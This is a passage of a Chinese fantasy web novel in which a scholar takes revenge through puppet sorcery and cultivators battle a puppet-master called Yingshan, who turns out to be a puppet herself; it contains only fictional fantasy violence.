循声望去,只见胡世宣面容憔悴,一脸病态地斜倚在躺椅上。 他整个人看上去瘦骨嶙峋,原本圆润的脸颊深深地凹陷了下去,眼窝处就像两个空洞一般。 若非那熟悉的五官轮廓以及身上那件标志性的衣裳,恐怕任何人都难以将昨日那个风度翩翩、为他们带路的英俊公子,与眼前这个形如枯槁的病秧子联系到一起。 “你这是......”许廷宽惊讶道。 “反噬。”傅霖淡淡说道。 胡世宣原本不过是一介普普通通之人罢了,像这种邪恶诡异的法术,岂是他这般肉体凡胎能够轻易驾驭得了的。 就在昨日,他毅然决然地出手去刺杀孙时权的时候,就已经倾尽了自己周身大半的精力。 可惜,即便如此拼命一搏,依旧未能成功将其置于死地。 正因如此,昨夜才会风平浪静、安然无恙。 自失手之后,胡世宣整个人便如同泄了气的皮球一般,变得萎靡不振。 此时此刻的他,别说是操控那些木偶去行凶杀人了,就算想要迈出这个房门一步,恐怕都是难如登天。 对于这几个人会把矛头指向自己这件事情,胡世宣其实并未感到丝毫的讶异。 因为打从最开始起,他压根儿就未曾想过要对此事加以隐瞒。 只不过,心中仍旧存有那么一丝不甘与无奈——明明距离为双亲报仇仅有咫尺之遥,明明就只差那么一点点而已…… “你们此番前来,是专程找我讨要性命?” 胡世宣开口说话之时,声音显得格外低沉压抑。 他缓缓抬起双眸,眼神之中透露出的阴森寒意,让孙时权不寒而栗。 因为在他的记忆当中,曾经的那个少年阳光开朗、朝气蓬勃,与此刻满脸阴郁、神色狰狞的模样简直判若两人。 他是杀了胡伯驹和陶子衿,但他没未想过对一个孩子下手。 他也不知道为什么,内心深处总会对那些手不释卷的读书人产生一种由衷的钦佩之情。 在招寿村里,胡世宣可是个独树一帜的存在,因为他是这个村落里唯一一个舍弃祖传木偶手艺,立志通过读书来博取功名之人。 当时,他还同胡伯驹说如此勤奋好学的孩子,将来必定能够金榜题名,走出这小村子,去上京城博一番天地。 然而,当胡世宣惊闻爹娘双双离世的噩耗之后,他那颗满怀壮志的心瞬间被击得粉碎,所有关于功名利禄的念想也随之烟消云散。 尽管胡家自此一蹶不振,每况愈下,但毕竟曾经也是风光一时,所谓“瘦死的骆驼比马大”,即便如今已大不如前,好歹还能勉强维持些许基本的生活开销。 面对父亲胡伯驹生前遗留下来的那一堆尚未完成的订单,胡世宣不得不硬着头皮开始学习如何应对和处理这些棘手的事务。 对于那些实在超出自身能力范围,无论如何努力都无法完成的部分,他会虚心地向钟其盛和村子里的一些前辈求教。 说来也怪,他宁可舍近求远地去找钟其盛帮忙,也丝毫不愿去向住在自家已有一段日子的孙时权开口求助。 其实,打从最初见到孙家人起,他心里就对他们提不起半点儿好感。 这章没有结束,请点击下一页继续阅读!只他爹心地善良,非要收留他们一家子在家中居住。 于是,这日子凑合着也能过下去,可谁也没想到,几年前他同任初几人喝酒的时候,听到了任初睡梦中的呓语。 那人居然哭着说对不起他的爹娘,还对不起他。 他有什么好对不起自己的?最初他接不到订单的时候,都是任初在一旁帮着他联系人。 他听任初反复的说着什么“火、大火、孙叔、玉佩”之类的话语,断断续续的也听不清楚那人究竟想要些表达什么。 他也不傻,多少能猜出来一二。 但他知道眼下不能冲动,孙时权的生意越来越好,在当地的势力也越来越大。 胡世宣本来都打算攒些银子,离开招寿村,随便找一个地方重新开始生活了。 可如今却又不得不再做打算,毕竟当年他爹娘的死因他得查清楚。 他不能打草惊蛇,也不能给人看出他的异样。只能偶尔同人闲聊的时候,会有意无意地提一句当年的火灾,然后从他们的只言片语中拼凑出一些真相来。 直到今年七月份,一个要定制木偶的商人找上门来。 那人说自己姓术,并同他讲了一些关于制作木偶所需的注意事项和他想要的定制款式,胡世宣听到一半就察觉出不对劲儿了。 这人描述的同几年前孙时权制作的那几批木偶有些相似,而且,他知道那些木偶的具体用途,大多都是在做一些见不得人的勾当。 故而,胡世宣想也没想的拒绝了。 他是缺钱,但他不愿意自己制作的东西成为伤害别人的工具,哪怕这并非他的本意。 可术老板却声称自己知道他父母的死因,只要他乖乖配合,不仅可以知道当年的真相,还可以助他一举拿下孙时权。 在真相面前,胡世宣妥协了。 但是这种事情不能在明面上去做,毕竟经过木偶杀人一事过后,村长便明确说过不得私自接下可疑订单,否则就将其逐出招寿村。 他将村子里的情况同术老板说了以后,那人财大气粗的表示愿意给他提供住所和休息的地方,并且会根据他的时间,派人来接他。 自那以后,胡世宣白天就在家中补觉,晚上会乘上马车离开招寿村,去术老板指定的地方制作木偶。 一开始一切都很正常,术老板也同最开始说的那般将当年的来龙去脉都同他都说了一遍。 可是,令他有些好奇的是—为何这人会知道的那么清楚? 术老板却说因为他就是当年那个丢失玉佩的人,他就在现场,所以看的清清楚楚。 胡世宣将信将疑的听着,他是急于知道事情的全貌,但也并非谁说的他都会信。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第103章 名分 后来有一天,术老板亲自向胡世宣展示如何真正地操纵木偶。 这一演示,就连天天与木偶打交道、自认为对木偶已经非常熟悉的胡世宣也不禁感到惊奇万分。 要知道,这种仅凭双手就能随心所欲地操控木偶,使其完全按照自己的意愿行动,仿佛赋予了木偶生命一般的神奇术法,着实让人梦寐以求。 看到胡世宣眼中流露出的渴望和好奇,术老板微笑着许下承诺:“等哪天得空了,给你介绍更厉害的师父。不过在此之前,你还是得先静下心来,把手头儿现有的活儿干好。” 时间匆匆而过,大约到了七月底的时候,术老板带着一位年轻女子来到了胡世宣面前,并告诉他这位便是前来教授他傀儡术之人。 胡世宣心里对此充满了怀疑和不信任。 在他的想象当中,能够掌握如此术法之人,理应是那种仙风道骨、修为高深的老前辈才对。 可是站在眼前的这个小姑娘,看上去年纪比他还要小,怎么看都不像是能当他师父的样子。 然而那位姑娘似乎并未在意胡世宣的打量,她一脸淡然地看着胡世宣,没有主动介绍自己的姓名,只是简简单单地说道:“从今天起,你就喊我师父吧。” 听到这话,胡世宣把头摇得像拨浪鼓似的,表示自己才不愿意这么称呼她呢。 可当她仅仅只是勾勾手指就毫不费力地将胡世宣拽倒在地的时候,胡世宣才心甘情愿的喊了声“师父”。 她不经常来,偶尔心情好了会过来待上几个时辰,就又匆匆忙忙的走了。 胡世宣学的进度很慢,原因无他,灵力低微。 他能做的就是操纵木偶听从他的命令,来回走路,或者上蹦下跳的翻跟头。可他师父的木偶却连端茶倒水、穿针引线这种精细活儿都能做。 胡世宣不禁感到沮丧,这得学到啥时候才能为父母报仇。 可师父却安慰他,“快了,就快了。届时你将事情闹大一些,然后请献岁山的弟子过来除祟。” “这是为何?” “你且听着就是了,旁的莫要多问。” 师父走的时候给他留了一个朱砂色的瓷瓶儿,里面装了几粒药丸,说是可以短暂地提升他的灵力,但代价却是透支寿命。 胡世宣知道自己的机会来了,一切都如他所愿的在进行着。 当任初和闫岱几人兴致勃勃地提议晚上一同前去捉拿小偷时,他随口编造了一个借口,声称自己身体不适,就不去了。 事实是躲在幕后操控着那些傀儡,指挥它们按照既定的计划,调出一部分木偶前往戏台那边表演排练。 凭借对任初等人行踪的了解,他策划了一场巧妙的伏击。提前将另一部分木偶部署在了他们必经之路的暗处,等待着最佳的时机出现。 不出所料,他所操纵的木偶与任初几人撞到了一起。 值得一提的是,其中那只在听到动静突然回头的木偶,实际上是胡世宣亲自掌控的,毕竟他的傀儡只是傀儡,根本就听不到声响。 至于任初为何会变得痴傻,并不是因为他的胆量比其他几个人小,而是相较于其他人,他那晚看到的更多罢了。 胡世宣特地在任初回家必经的巷子里等着他,用傀儡半逼迫半恐吓的让他说出了实话。 他本来一心想要杀死任初以泄心头之怒,但经过一番思考之后,他改变了主意。 与其直接取了任初的性命,倒不如让他变成一个真正的傻子来得更为解气。 你不是喜欢装傻吗?好啊,那你这辈子都成为一个真傻子吧! 昨日清晨时分,阳光透过斑驳的树叶洒下,形成一片片光影。 他坐在院中的枯树下,眼神紧盯着手中的两颗药丸,心中满是紧张与纠结。 最终深吸一口气后,倒出来两颗药丸放入口中,咽了下去。 片刻之后,一股奇异的力量开始在他体内涌动起来。 起初只是一种微弱的感觉,渐渐地,这种感觉越来越强烈,仿佛有无数道细小的溪流汇聚成一条汹涌澎湃的江河。 而就在这时,他突然明白了师父曾经说过的关于灵力的一切。 他能够清晰地感受到周围空气中微小的波动,连落叶似乎都能听从他的指挥。 他试着伸出手来,集中精力去控制不远处一个木偶。 令人惊奇的事情发生了——那个原本毫无生气的木偶如同被赋予了生命一般,随着他的意念而动。 他意识到,原来仅仅依靠几根纤细的丝线,就能够拥有如此强大的杀伤力。 此时的胡世宣,脑海中只有一个念头:找到孙时权,用刚刚掌握的灵力让他生不如死。 尽管心急如焚,他还是努力克制住自己冲动的情绪,他知道必须要等待孙时权按照约定来到指定地点后才能出手。 否则一旦打草惊蛇,之前所做的一切准备都可能会前功尽弃。 时间缓缓流逝,每一刻对于胡世宣来说都是一种煎熬。 令他万万没想到的是,计划往往赶不上变化。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!任初那个臭傻子,在关键时刻居然还保留着一丝清醒的意识。 也正是这一丝意识,让任初成功向江洵等人发出了求救信号。 这两颗药丸虽然赋予了他强大的灵力,但同时也透支了他整整二十年的寿命。 当药效过去之后,他整个人像是被抽走了灵魂一般,瞬间失去了所有的精神气儿。 尤其明显的是他那双用来操纵丝线的手,此刻变得犹如干枯的树枝一般,干瘪无肉,皮肤紧紧贴附在骨头上,看上去十分恐怖吓人。 江洵询问道:“迎姗呢?” 胡世宣无力地抬起头,目光空洞无神。他知道江洵所问之人是谁,但他并不打算说出迎姗的下落,怎么说二人也是师徒一场。 哪怕他清楚的知道,迎姗和术老板也只是在利用他罢了。 “我不知道江公子在说什么。” “孙时权的命换迎姗的信息,如何?”江洵冷冷说道。 饶是瑶卿都对江洵这句话感到不可思议,这还是她印象里的小洵儿么? 胡世宣闻言,眼眸一亮,这个买卖似乎并不亏。 只是,眼下他不需要了。 “你们不会真的以为,能保住他这条狗命吧。”胡世宣眸中厉色一闪而过,嘴角勾起一抹笑意。 只听得孙时权喉咙里发出一声沉闷的低哼,其声音仿佛被压抑在了胸腔之中,让人听起来倍感难受。 刹那之间,黑色的丝线紧紧地拖拽住孙时权,他的整个身躯如同失去控制一般,迅速呈现出一个标准的“大”字形状。 紧接着,便如同一幅挂画般,直直地紧贴到了身后那坚硬冰冷的墙壁之上。 瑶卿见状,随即召唤出银环。 扇子在空中划出一道优美的弧线,宛如一轮皎洁的明月,朝着孙时权的面前急速飞去。 银环在围绕着孙时权飞速旋转了一圈之后,又准确无误地回到了瑶卿的手中。 “姑娘莫要白费力气了,这丝线可与昨日的不一样。” 胡世宣强忍着身上的伤痛,艰难地支撑着自己站起身来。 瑶卿闻言,不禁冷哼一声,双手抱于胸前,暂时停止了继续攻击的举动。 她方才并非是要救下孙时权的性命,在她看来,此人罪大恶极,早就应该命丧黄泉。 可如果她对孙时权完全置之不理的话,似乎又有些说不过去。 毕竟,孙时权称得上是他们手中唯一能够用来牵制胡世宣的筹码。 一旦孙时权不幸身亡,那么想要找到那个名叫迎姗的女子恐怕就会变得困难。 正当瑶卿心中暗自盘算着接下来该如何行动之时,江洵再次开口说道:“难道说,连那孙玉州的性命,阁下也丝毫不在意吗?” 一时间,所有人都不约而同地顿住了身形,包括正在拼命挣扎的孙时权在内。 孙时权满脸惊愕之色,难以置信地瞪大眼睛紧盯着江洵,仿佛不敢相信自己刚刚所听到的话语。 因为在他的认知当中,孙玉州与胡世宣二人根本就是毫无关联、八竿子都打不着的人!! 可又转念一想,虽然孙玉州与去世的胡伯驹有些相像,可这么打眼儿一看,明明和胡世宣更像一些。 孙时权顿时被气得脸红脖子粗的,要不是嘴被封上了,他此时肯定要破口大骂了。 去他娘的读书人,书都读到狗肚子里去了??? 枉他还对胡世宣有一丝欣赏,如今看来他才是眼瞎的那个。 这兔崽子偷情都偷到自己头上来了,他怎么敢的???? 他怎么敢的!!!! 孙时权越想越气,挣扎的力度都大了很多,可他越挣扎,细线就束缚的越紧,愣是生生划破了四肢的皮肤。 胡世宣那边也十分不可思议的看着江洵。 他是怎么会知道的?? 江洵看着那人的表情就知道自己猜对了,双眸一转,剑眉一挑,笑道:“如何?” 瑶卿越发觉得自己看不透江洵,怎得出去了几个月,这孩子的心境会变化这么大? 难不成之前那些乖巧的样子都是装的??? 江挽知道她徒弟一肚子坏水么? 胡世宣嘴角微微上扬,露出一抹冰冷的笑容,紧接着又轻轻地叹息了一声。 只见他藏在袖子下面的右手慢慢地握紧,力道不断加大。 与此同时,站在一旁的孙时权脸色变得越来越苍白,呼吸也愈发困难起来。 那令人窒息的感觉如同一只无形的大手紧紧地扼住了他的喉咙,使得他不由自主地心生恐惧,身体开始不受控制地剧烈颤抖。 特别是当他感觉到自己的脑袋逐渐变得昏沉、发胀的时候,那种惊悚感更是如潮水般涌上心头,仿佛死亡已经近在咫尺。 乔诀不忍再看下去,将目光转向了其他地方。 其实,他之所以愿意放过赵紫芮一马,将她交由衙门处置,原因很简单——真正动手杀人的并不是赵紫芮。 再者说,孟春生前乃是一个活生生的人,那么人与人之间的恩恩怨怨,按照常理来说应当由衙门出面妥善处理才最为合适。 这章没有结束,请点击下一页继续阅读!而相较于孙时权而言,情况则完全不同。 且不说那已经逝去的胡氏夫妇二人与他有着千丝万缕的联系,单就他几年前所制作的那些木偶,就不能轻易的放过他。 在明明知道可能会害人性命以后,却依旧不知悔改地为幕后之人效力,光这一点,就不能够轻而易举地将其交予衙门了事。 像这样穷凶极恶之徒,直接扔给专门负责此类案件的中律司才是最佳选择。 最终,孙时权就这样死在了胡家,死在了胡世宣的面前。 他来招寿村第一个落脚点就是胡家,如今也算有始有终了。 胡世宣在最初听到门外传来敲门声时,就毫不犹豫地从桌上拿起药瓶,倒出两颗药丸放入口中咽下。 他深知江洵此人所为何来,担心他们会不由分说地质问自己,甚至会取走他的性命。 但他还不能死,孙时权都还没死!!! 然而,事情的发展似乎并没有像他想象中的那么糟糕。 尽管江洵等人来势汹汹,但好在他们并不打算对他动手,胡世宣暗自松了一口气。 毋庸置疑,胡世宣是深爱着赵紫芮的,而孙玉州也是他的儿子。 这份感情在他心中犹如燃烧的火焰,炽热而浓烈。 可是,与对父母的血海深仇相比,这点爱意便显得微不足道了。 赵紫芮清楚胡世宣内心的盘算,也知晓他父母死亡背后的真相。 正因如此,当初她决定嫁给孙时权,其中一个重要的目的便是为了帮助胡世宣获取更多有关当年那场火灾的真相。 对于赵紫芮来说,爱就是爱了,就该义无反顾。 在她眼中,根本不存在所谓的值不值得。 或许在外人看来,她的行为愚蠢至极,竟然协助外人去算计自己的丈夫; 更有人会指责她下贱,拿着丈夫的钱财却又心心念念盼着对方早逝。 可扪心自问,她和孙时权之间本就没什么不同,她不过是无法给胡世宣应有的名分罢了。 为何孙时权左拥右抱就能被视为理所当然?而她与胡世宣之间真挚的情感却要被世人诟病,被说成是见不得光的关系呢? 赵紫芮对此深感不公,倘若她是男子,三妻四妾不是很正常???孩子亲爹是谁又有什么所谓???? 那孙玉珍压根就不是她亲生女儿,孙时权又凭什么来要求孙玉州就一定会是他的亲生儿子呢? 只许州官放火,不许百姓点灯?? 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第104章 迎姗 胡世宣起初确实有诱导赵紫芮的嫌疑,但在得知孙玉州是他的孩子以后,就已经收起了利用赵紫芮的念头,甚至多次让赵紫芮带着孩子离开孙府。 可赵紫芮总是不愿意。 她喜欢的少年郎是艳阳天坐在树下看书的人;是下雨时红着脸替她撑伞的人;也是说等以后考取功名就娶她的人;但绝对不是如今被仇恨屏蔽了双眼的人。 她可以跟他谈情说爱、风花雪月;也可以为他事事谋划、殚精竭虑,但绝对不会为了现在的他而放弃孙府的荣华富贵去过苦日子。 她可以接受旁人的指指点点,但玉州不可以,玉州明明什么都没有做。 “我不知道江公子所说的迎姗是谁,不过你身上的傀儡术我倒略知一二。” 胡世宣又吃力地坐了回去,方才那一下已经耗光了他最后的力气,现在大仇得报,一直撑着他的那口气儿也就散了。 “讲。” “想必你自己应该也能够察觉到,缠绕在你身上的这些丝线与其他普通材质的丝线截然不同。那么想要将其解除,自然也就不能采用寻常的方法来处理。” “方才你既已提到了玉州,那事已至此,我觉得也没有必要继续对你隐瞒什么。左右我已时日无多,但是玉州年纪尚小!他不该也不能被牵扯进我们这一代人的恩怨当中。” 胡世宣缓缓说道,边说边把目光投向了窗外的那一棵老枯树。 当年,他的双亲都还健在的时候,这棵树可是枝繁叶茂、郁郁苍苍的,然而现在,却变得如此毫无生机、死气沉沉。 “其实,紧紧缠住你身躯的不是什么丝线,而是孟春的青丝。像她那样的女子,怎么可能心中没有丝毫怨恨?至于青丝的另外一端,十有八九就藏在那个代表她的木偶躯体之内。” 说完这番话后,他仿佛突然间恍然大悟。 他好像明白了孟春当时为什么会露出那种笑容,以及她为什么从头到尾都没有做出任何反抗的举动。 或许对于孟春而言,能够死在他的手中,是得偿所愿。 她一方面放心不下自己年幼的女儿和无情的丈夫,一方面却又无法直面内心对胡家的愧疚和亏欠。 所以,当她看到赵紫芮同胡世宣在一起的时候,她顿时就明白了,原来胡世宣早就已经对孙时权下手了。 那么,她什么都不用做,只需要等待着,等着胡世宣上门来找她们一家三口索命。 于她而言,那不是死,而是解脱,是偿还。 好在,她的玉珍已经年过十六,也算是到了可以照顾好自己的年纪。 回想起来,她好像就是在十六岁的那一年,嫁给了那个一无所有的孙时权。 胡世宣没有直接告诉江洵,迎姗的目的究竟是什么。 一来是全了二人之间最后那点师徒情谊,二来是他真的不知道迎姗具体藏在何处,毕竟那姑娘总是神出鬼没的。 在胡世宣提到木偶之时,江洵将它拿了出来,其实从外观上来看,这和寻常木偶并没有什么太大的差别。 可若是提到头发…… 这只偶头上所植入的发丝,摸上去的确与真人的头发有着几分相似之处。 但这只木偶早在孟春还在世时便已雕琢完工,因此,从前后逻辑上来说,应该不可能存在后续再添加头发这一情况。 正当他深思之际,原本静谧无声的房间内突然传来一阵女子轻柔的低笑之声。 只见江洵手中紧握着的木偶,像是受到某种力量的牵引一般,瞬间飞离而去,而后稳稳地落入正站立于窗外的迎姗手中。 迎姗面带微笑,轻轻晃动着手中的木偶,朝着江洵打起招呼:“好久不见呀,小洵儿!” 此刻,她脸上所呈现出的面容并非是她自己原有的模样,而是咸石村村长之女王杉的容貌。 “你舅舅呢?”江洵凝视着眼前的迎姗,开口问道。 他回想起当初本欲对尸体进行检验之时,却被那名自称是迎姗舅舅的男子打断,导致未能顺利完成验尸工作。 江洵的这番问话却让迎姗感到莫名其妙。她眨巴着眼睛,满脸疑惑地回应道:“什么舅舅?” 她本是吸收日月精华成长起来的灵物,连爹娘都未曾有过,又何来的舅舅一说? 江洵看她那表情也知道,那位舅舅怕是已经被她杀了。 “自然是给你收尸的那个。” “哦~你说那傻大个啊,死啦。” 还好,还好你还依旧是这副不知死活的样子,让人想要你下手的时候,都不会有丝毫的心软。 似乎是察觉到江洵的杀意,迎姗瞄了一眼屋内的几人,怎么又是一打五? 这般熟悉的场景可是让她心里很不爽。 “你们家家规莫非就是你旁边那位女子定的?”她可没忘记死之前江洵同她说的那句话。 瑶卿面沉似水地盯着迎姗,她那一双美眸之中,流露出上下打量的光芒,而迎姗此刻也在打量她,瑶卿不由得细眉微挑。 面前这位女子,实在令人感到匪夷所思。 本小章还未完,请点击下一页继续阅读后面精彩内容!她既非妖类,亦非人族,更不可能是鬼魂,甚至看起来与魔族也并无瓜葛。 江洵试图召唤献岁,但他很快就察觉到不对劲儿——灵力受阻。 他不仅无法顺畅地施展灵力,就连四肢也变得有些僵硬,动作迟缓起来。 只见窗户旁的迎姗左手稳稳地握着孟春的木偶,右手则灵活地舞动着,五根修长的手指如同灵动的舞者般不停摆动,在操控着什么。 “若你想夺回身体的控制权,倒也并非完全没有可能。只是不知道,你和孟春之间,谁的怨气更为深重呢?” 迎姗嘴角轻扬,似笑非笑地对着江洵说道。 “自然是我的怨气更重!” 话音未落,只听一阵破空之声响起。 瑶卿已然出手,她召出银环,那把折扇犹如一条银色的游蛇,以迅雷不及掩耳之势朝着迎姗疾驰而去。 迎姗见状,眼神一凝,连忙伸手去接。可就在她刚刚接住这凌厉一击之时,瑶卿身形一闪,如鬼魅般迅速欺近身前,稳稳地站立在了迎姗的对面。 瑶卿知道这人比屋里那个病秧子要难对付多了,余光也一直紧盯着迎姗右手的丝线。 “还不速速出来!”迎姗话落间,一排排的木偶腾空而起,跳进了胡家大院儿,将这几人层层围住。 丝线在迎姗的手中灵活地舞动,她手下的傀儡仿佛有了生命一般,一个接一个地朝瑶卿发起攻击。 瑶卿见状,不疾不徐地挥动着银蛇,见招拆招。 其他的木偶自然也没闲着,纷纷朝着傅霖等人袭击而去。 许廷宽还没到佩剑的年纪,便只能躲在傅霖的身后,发起灵籁令,帮着清理一些被傅霖打残的木偶。 乔诀则一直围在江洵身边,他知道这人眼下身体不太灵活,落单的话恐会有危险。 瑶卿的扇子如同一把利剑,带着腾腾杀意。迎姗手指摆动的速度越来越快,丝线交织成一张网,试图将瑶卿困住。 二人你来我往间,终于!让瑶卿发现了迎姗的破绽。 她双眼微眯,看准时机,口中念念有词道:“斗转星移”。 只见那条原本待在扇面上的刺绣银蛇,瞬间成了活物,带着杀意一跃而出,眨眼间击中傀儡的关键部位。 傀儡在被银蛇咬到后便立刻失去了控制,瘫倒在地。 迎姗见状,倒也不恼,而是从容的操纵起另一只傀儡向眼前的女子发起攻击。 瑶卿勾唇一笑,她已经看透了迎姗的招式。轻盈的身姿轻轻一跃,避开了傀儡的攻击,那只银蛇也回到了扇面上,瑶卿奋力一挥,将袭来的丝线尽数斩断。 迎姗失去了丝线的控制,傀儡也就失去了作用。 “如何?还要继续吗?” 瑶卿微微抬起胳膊,银环在飞出一圈后乖乖落回她的手中。 迎姗评价道:“你那扇子倒有点意思,叫什么名字?” “银环。” “这名字凶死了,跟你一样。” “哦?我凶你了?” 瑶卿的食指一下又一下的拍打着扇骨,她得想个法子把那人手上的木偶抢过来。 迎姗看着这一地缺胳膊断腿的木偶,生气地嘟囔道:“我的木偶都被你弄坏了。” “赔你?” “你想怎么赔?”迎姗眼眸一转,示意对方讲下去。 瑶卿不紧不慢地向前走去,她知道眼前这人远程作战确实颇有手段,但如果近身搏斗,其劣势便会暴露无遗。 她心中暗自盘算着,必须要更接近一些,这样才能顺利抢到那个木偶。 而迎姗显然也洞悉了瑶卿的意图,不过她并未选择躲避,只是静静地站立在原地,目光紧紧锁定着逐渐逼近的瑶卿。 瑶卿突然发难,手持折扇,如疾风般猛地刺向迎姗。 而迎姗的反应也十分迅速,娇躯瞬间向右后方一侧,轻而易举地避开了这凌厉的一击。 两人再次展开了一场攻防较量。 瑶卿每次进攻时都特意瞄准迎姗的左侧,迫使她不得不频繁使用手中的木偶来抵御攻击。 一旁观战的江洵目不转睛地盯着这场激战,心中充满了惊讶。 他不是没见过瑶卿手中的那把银环扇子,但每次都是被瑶卿当作一件普通的饰物,再者就是飞来飞去的被当成一个远攻的武器来使用罢了。 如今亲眼目睹瑶卿真正与人交手时的身手和技巧,他才开始对这把扇子刮目相看。 在瑶卿的手中,银环被她发挥到极致,不仅可以拉开距离远攻,还可以贴着对方行刺,甚至不经意间,还能搞个偷袭。 再看迎姗那边,虽然步子一直在往后退,但她脸上却没有丝毫慌乱的神情,反而是越打越兴奋。 “你现在能动么?”乔诀低声问道。 江洵动了动手腕,似乎没什么问题。 大概是瑶卿一直在拖着迎姗的原因,让她目前根本就没有多余的心思来操纵孟春的木偶。 可就在这时,胡世宣家的大门被人缓缓推开了。 来人是孙玉珍。 本小章还未完,请点击下一页继续阅读后面精彩内容!“欸?她来做什么?”许廷宽疑惑道。 孙玉珍无视掉眼前的几人,路过院子径直地走向里面的房屋,不知她此番是要找胡世宣还是要找孙时权。 “哇,她无视你哎。”瑶卿打趣着对迎姗说道。 毕竟这人可是帮着胡世宣杀了孙时权的人,同时也是间接导致胡世宣成了这副鬼样子的人。 无论孙玉珍是为谁而来,起码也应该看一眼造成这一切的罪魁祸首。 可她谁也没看,满脸冷漠,丝毫不关心这里正在发生的一切,甚至连问都没问一句。 迎姗冷哼一声,“不管她。” “那要管我吗?” 江洵身形一闪,如疾风般一个快步向前猛冲而去,迎姗似乎早有预料,身子轻轻一转,如同翩翩起舞的蝴蝶,避开了江洵这突如其来的一击。 “我说小洵儿,你怎么还是那么喜欢搞这些偷袭的小把戏呢?” 迎姗稳住身形后,嘴角微微上扬,带着一抹戏谑的笑容看向江洵说道。 对于江洵这种手段,她可是再熟悉不过了。毕竟上次交手时,自己就是因为一时大意而不慎被江洵刺中。 但是今时不同往日,吃一堑长一智的迎姗可不会在同一个地方再次跌倒。 只是迎姗还完全没有意识到,即便她能够巧妙地躲过江洵正面的攻击,却疏忽了身后还有另外两个人正虎视眈眈地盯着她——傅霖和许廷宽。 趁着迎姗与江洵说话的时候,一直伺机而动的傅霖瞅准了这个绝佳的机会,手臂猛地探出,一把拽住了那只木偶的身子。 “看来江湖上那些关于你们献岁阁的传闻并非空穴来风,一个个都喜欢玩躲在别人背后偷摸行事的勾当。” 迎姗感受到手中木偶传来的拉力,顿时柳眉倒竖,一双美眸怒瞪着傅霖,同时两只玉手更是死死地攥紧木偶不肯松开半分。 面对迎姗的指责,傅霖面不改色,手上依旧用力拉扯着木偶。 站在身旁的许廷宽也没闲着,只见他双手飞速结印,口中低喝一声:“焚轮!” 刹那间,一股强大的飓风凭空而起,呼啸着朝迎姗席卷而去。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第105章 野火 狂风肆虐之下,尘土和落叶齐飞,迎姗只觉得眼前一片迷蒙,根本无法睁眼视物。 无奈之下,她只得抬手挡住灰尘,以此来躲避这股强劲的风力冲击。 瑶卿的银蛇再次腾空而起,咬向迎姗的左臂,可那人明明胳膊都快被咬掉了,却似感觉不到疼痛一般,愣是没有发出一丝声音。 不过好在,那只紧握木偶的手还是松开了,木偶最终落到了傅霖的手中。 眼看计划已经成功,许廷宽才施法让狂风慢悠悠地停下来,直至消失不见。随后,他卖乖的看向傅霖,“师兄,怎么样?” 傅霖摸了摸他的手,“很高,就是下次控制着点力度,我都快被你吹起来了。” 许廷宽挠挠头,不好意思的笑了笑。 傅霖看向手中的木偶,二话不说便用行野将其从头到尾一剑斩开。 只听“吧嗒”一声,木偶一分为二地掉落在地上。 本以为这个重量会是个实心的,可被劈开以后才发现只有偶头和四肢是实木雕刻的,而躯体是个空心的,掉落的另一半儿身子里塞着一张纸条和一缕用红绳绑住的头发。 傅霖先是蹲下将那张纸条取了出来,随后,捏出一个法诀。刹那间,那缕头发就被烈火吞噬得一干二净。 与此同时,江洵也察觉到了身体的变化。 原本被阻塞的灵力此刻如汹涌澎湃的潮水般在体内奔腾流淌,畅通无阻;就连之前因受制而变得无比僵硬的手指,眼下也恢复了灵活自如。 再看那张纸条,上面赫然写着江洵和孟春两个人的名字。 这时,孙玉珍双眼红肿、神色黯然地从屋里缓缓走了出来。 如此一来,江洵的傀儡术确实不是随机下的,而是迎姗有备而来。 她依然保持着那副特立独行、我行我素的模样,依旧完全不顾旁人的目光,径直朝着门口走去,看样子是打算出门离开。 可在她即将踏出大门的那一刻,迎姗快速闪现在她面前,挡住了她的去路。 “做什么?”孙玉珍没好气地质问道。 “废话,当然是做人质啦。”迎姗面沉似水,毫无感情波动地回答道。 她的左臂由于受伤无法抬起,所以只能用右手死死地掐住孙玉珍纤细的脖颈,并一点点拽着她向外走去。 孙玉珍被她这么一掐,顿时觉得呼吸困难,剧烈地咳嗽起来,整张脸也因为缺氧而涨得通红。 而方才那个躺在地上、被一分为二的木偶仿佛突然间感知到了什么,竟悄无声息地动了起来,趁着众人都没有留意它的时候朝迎姗的小腿狠狠地撞了过去。 本就被傅霖劈成两半的木偶,这下更是七零八散的躺在地上,一动也不动。 “哈????” 迎姗一脸茫然的被撞到外地,她甚至都还没明白到底发生了什么? 孙玉珍那人倒是没有丝毫犹豫地从就地上爬了起来,又手脚麻利地躲到了傅霖的身后。 不知道为啥,直觉告诉她躲在这人身后会更安全一些。 傅霖偏头看了眼身后的姑娘,低笑一声道:“你倒挺会躲。” 孙玉珍一边按摩着脖子上的红痕一边大口喘着气,毫不在意地回道:“我一直都会躲。” 江洵趁着迎姗还没回过神儿来的时候,快速掏出匕首,摁住那人身子并一刀刺了下去。 可是当刀尖儿刺穿心脏触碰到地面的时候,江洵皱着眉,脸上露出了疑惑地表情。 “怎么了?”瑶卿以为没成功,赶忙凑过来问道。 “这只是具傀儡,并不是迎姗的真身。” 因为这身子没有心脏,难怪方才无论是经历了断胳膊,还是被木偶撞腿这两件事,她都似乎感知不到疼痛一般,眼睛都没眨一下,江洵还以为她是个能忍的。 “哈???合着打了半天,只是在跟一个傀儡打????” 瑶卿撇了撇嘴,又继续问道:“如此说来,她背后应该还有人,比如那个术老板!” “有可能,迎姗是今年七月份才开始祸害咸石村的村民,而让孙时权制作木偶的那位术老板却是很多年前就已经存在了。”江洵点着头分析道。 总之,就目前的情况来看,这个任务总算是赶在戌时之前有了个结果。 虽然暂时解决了当下的危机,但谁也无法保证那个狡猾多端、心怀叵测的术老板日后不会再次打起招寿村的主意。 毕竟他这种人,往往是不达目的誓不罢休,一旦盯上某个目标,就如同饥饿的野狼一般死咬不放。 孙玉珍那人眼见四周已无危险,便又如往常那般任性而为,冷哼一声便自顾自地转身离去,甚至连一句感谢的话语都未曾留下。 然而,没走出多久,那姑娘却突然折返回原地。 只见她蹲下身来,小心翼翼地将散落在地上的那那几些木偶碎块逐一捡起。 “回家啦,阿娘。” 她轻柔地擦拭掉木偶脸上沾染的灰尘污渍,轻声呢喃道。 此木偶乃是孟春之物,更是其生前最为钟爱的一个木偶。 